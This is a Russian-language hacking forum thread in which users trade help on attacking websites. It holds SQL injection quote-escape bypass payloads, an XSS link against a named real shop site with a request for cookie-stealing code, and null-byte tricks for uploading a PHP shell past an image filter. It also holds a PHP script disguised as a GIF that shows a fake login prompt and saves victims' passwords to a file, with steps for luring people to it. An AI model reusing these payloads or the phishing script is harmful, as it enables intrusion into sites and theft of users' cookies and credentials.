INSERT INTO vote_result (ip, name, vote_id, answer) VALUES ('94.0.0.0', 'guest', '1', '0\\\'') Выходит такая ошибка. Както можно обойти экраниковку ковычки по другому? Пробовал ')--+ ')/* ')%23 ')# '){ Также пробовал менянь ' на %27 попробовал так сделать %2527)-- INSERT INTO vote_result (ip, name, vote_id, answer) VALUES ('94.0.0.0', 'guest', '1', '0%27)-- ') Может ещё можно в Ип адрес инекцию сделать? Как передать браузеру другой ИП?
2 mailbrush: дык вроде нету 2 Byrger: А смотря как этот IP определяется, если пишется х-форвадер, то можно, если реальный - то фиг. В общем вероятность очень мала, забей на IP
http://torg.mail.ru/337/res/?p3[price_from]=&p3[price_to]=&p3[delivery_id]=&p3[vendor_id][]=">XSS Собственно подставил ссылку на сниффер но не работает (точнее отчета лога нету) Попробуйте ща потестить на своем сниффере... если все норм то дайте ваш запрос чтобы куки просылались (я потом изменю на свой сниффер)
PHP: <?php if (isset($_POST['Upload'])) { $target_path = "uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>'; } } else{ echo '<pre>Your image was not uploaded.</pre>'; } } ?> И еще.... Как это можно обойти?
kartinko.php%00.jpg можно попробовать: Code: <?php $uploaded_name = 'text.php%00.jpg'; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); echo $uploaded_ext; ?>
Не помогает(хотя была такая идея но и не помогает она после того как я испробывал)... Так как переиминовывается почему то в my.php%2500.jpg
Странно, только что погонял локально с помощью такой формы: PHP: <?php if (isset($_POST['Upload'])) { $target_path = "/home/dfgdf/http/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>'; } } else { echo '<pre>Your image was not uploaded.</pre>'; } } ?> <form enctype=multipart/form-data method=post><input name=uploaded type=file><input type=submit name=Upload> Всё загружается как есть, php не прокатит, т.е. в итоге если загрузил 5.php%00.jpg - то локально так файл называться и будет, если загрузил 5.php%2500.jpg - то локально так файло называться и будет, в браузере есс-но не отображается - пишет Code: requested URL /5.php was not found on this server Т.е. при обращению по урл - да, разрешние второе обрезается, в случае сохранения %00.jpg, а вот откуда там берется %2500.jpg - непонятно, возможно не весь код показал Так что не получиться, разрешение четко отсекает, если не jpg - гуляй Василий ЗЫЖ Ну по крайней мере это мой мнение Тестил при всяких маджиках и он и офф - одна фигня. Если только локальный инклуд, он так можно и просто в картинку код запихать
Pashkela, ты не прав... теория это конечно хорошо, но практика важнее. Когда ты перехватываешь данные с помощью Tamper Data и вставляешь %00 в имя файла, ты забываешь, что это не GET а POST данные, другими словами когда ты вставил %00 надо еще раскодировать данные (правой кнопкой на названии массива и в полученной менюшке пункт раскодировать)
2 Scipio: Непонятно что-то, объясни тупому, ну тыкнул на POST_DATA, нажал раскодировать, и что дальше? Можно шелл залить? Ты имеешь в виду, что делается urldecode? И что это нам может дать? Ну вставил туда %00 или наоборот убрал - проверяется все равно позже в данном конкретном примере. Чото недогоняю Не, понятно, что принцип как у Шанкара в сплойте для PHPBB примерно, только все равно не понятно. На пальцах бы объяснить
РЕБЯТА ПОМОГИТЕ ПОЖАЛУЙСТА!!!!!!!!!!!!!!!!!!!!!!!! Покажите примерчик скл уязвы какой нить как в ней правильно изменить переменные с update или другой.. Спасиба!
Народ а тема c php кодом в .gif файле больше не работает ? чтобы вместе с картинкой авторизация вылетала... <? //делаем скрипт картинкой header("Content-type: image/gif"); //делаем изображение смайликом из архива $image = imagecreatefromgif('mellow.gif'); if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; //Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин if(strlen($pass) <= 4 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="http://victim/ - Login"'); } elseif($login) { //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис )) setcookie('LOGON',md5($pass)); //запишем пароли в файл $f = fopen('passwords.txt', 'ab'); //passwords.txt fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD fclose($f); } } imagegif($image); imagedestroy($image); ?>
Вот, держи: http://bestquest.info/other/image.zip Инструкция: 1. Заливаешь на хост. 2. Ставишь CHMOD 777 на папку, CHMOD 755 на скрипт. 3. Кидаешь ссылку кому-то на image.gif. 4. Если юзерр ввел пасс > 4 символа, смотришь файл passwords.txt (он создастся при вводе пароля).
Поспорю... В PostgreSQL injection можно исполнять команды... Следовательно можно и изменять информацию в БД (если прав хватит)
если скуля в update, insert, delete то можно изменять(в рамках запроса конечно же, и уязвимых переменных)